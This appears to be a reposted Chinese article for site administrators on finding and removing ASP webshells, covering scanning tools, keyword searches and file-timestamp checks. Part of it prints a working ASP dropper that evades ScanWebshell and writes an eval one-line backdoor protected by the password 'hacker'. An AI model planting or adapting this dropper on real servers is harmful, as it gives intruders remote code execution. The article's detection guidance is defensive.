干掉Webshell!——站长安全顾问系列话题二

转载黑客防线

在脚本入侵如此疯狂的当今时代,脚本系统所谓的“0day”漫天飞舞,一不小心webshell就被放到了服务器上。如何干掉已经存在于服务器上的webshell?估计很多朋友看到这个提问都会有些轻微的寒意,因为现在的webshell太BT了,花样翻新而且层出不穷,简直就象打不死的小强!我¥%+%¥*+%¥*
    以Windows Server2003系统ASP+SQL Server典型环境为例,本贴列举两种常规的清理Webshell的方法,召唤更多亡羊补牢的干掉webshell的金点子,砖头拍过来吧!
1.工具
    作为服务器管理者,网络上各种清理webshell的工具应该人手一份,虽然这些工具做不到100%清理,但至少普通的webshell是可以搞定的。这里列举两个:aspcandy和ScanWebshell。
    Aspcandy是村雨写的,发布的时间比较早,也没有再公开更新,感觉还不错,至少可以省掉很多手工查找的麻烦。这个工具主要用来查找被入侵过的机器上面是否有asp后门,检查服务器上的ASP文件是否有危险操作而存在。一般普通的用常规函数写的webshell可以很方便的检测出来。
                         干掉Webshell!——站长安全顾问系列话题二
    ScanWebshell是lake2在06年中旬写的一个asp页面形式的查询webshell的工具,它可以查asp、cer、cdx、asa及其嵌套调用的任意格式文件,但是图片asp木马之类的查不到。基本原理也是通过对特别的函数做审查而判定是否为webshell。
                         干掉Webshell!——站长安全顾问系列话题二
    但是这个东西出来以后,就好比木马查杀工具在免杀技术面前无奈一样,穷举类型的安全规则还是很容易被人突破,所以很快就有人提出了突破它的方法:
<%
pass="hacker"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values ('<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">')")
End If
%>

    直接访问xxx.asp?bin=hacker会在当前目录下生成一个bin.asp,连接密码为hacker。这个小东西文件可以躲避ScanWebShell,但是生成的bin.asp还是会被查杀。

2.手工
    喜欢黑客技术的人自然更喜欢手工去搞一些东西,这样对动手能力会有一定的提高。一般有实际用处的手工检测webshell的方法有两种:一种是通过特征字符进行判断,一种是通过系统时间进行判断。
    所谓的特征字符判断,实际上和所有网上的清理工具使用的方法是一样的,就是对webshell可能使用到的独特的函数进行过滤,发现调用就仔细查看是不是webshell。比如可以使用UE,设定“Execute(Request("”关键字符对web文件夹下的所有文件内容进行查询,以此来找出一句话后门。
                         干掉Webshell!——站长安全顾问系列话题二
    这种方法的优点在于很容易找到有针对性的后门,比如一句话后门和网络上常见的后门,缺点是对未知的后门几乎没用。
    另一种方法是通过系统时间来做第一次判断,在估算被放置后门时间的左右时间段内,查询所有服务器上,网络用户可访问文件的修改、写入等相关操作,以此来确定webshell的范围,并进一步仔细清理。比如:查找所有上个月内,服务器上web路径下的所有文件改动、生成。
                         干掉Webshell!——站长安全顾问系列话题二
    在没有被人获得完全的服务器权限的情况下,用搜索的方法是比较有威力的,可以查出来所有有可能有问题的文件,包括特殊加密后的webshell、图片类型的webshell。但是,一旦服务器被人搞掉了,拿到了高的权限,那文件时间却又是可以很容易修改的——所以,在确定服务器没有被搞掉的时候,大胆的使用这个方法去干掉webshell吧!

    上面几个方法都是有一定作用的清理服务器上webshell的方法,对一般的webshell清理是比较有帮助的,服务器管理员在遇到webshell的情况下可以用以上的方法做一下测试,可能会有帮助。

问题来了:
1.        以上的工具和手工清理方法,有没有突破的办法?怎么突破?
2.        有没有更好的清理已经存在的webshell的方法?怎么清理?
[当然,以上帖子的所有讨论,都是基于已经被放上了webshell的情况,怎么让别人放不上webshell他日再论。] 
 

上一篇:一起学Shell之(二)输出以及其它


下一篇:在linux中安装freetype时出现的问题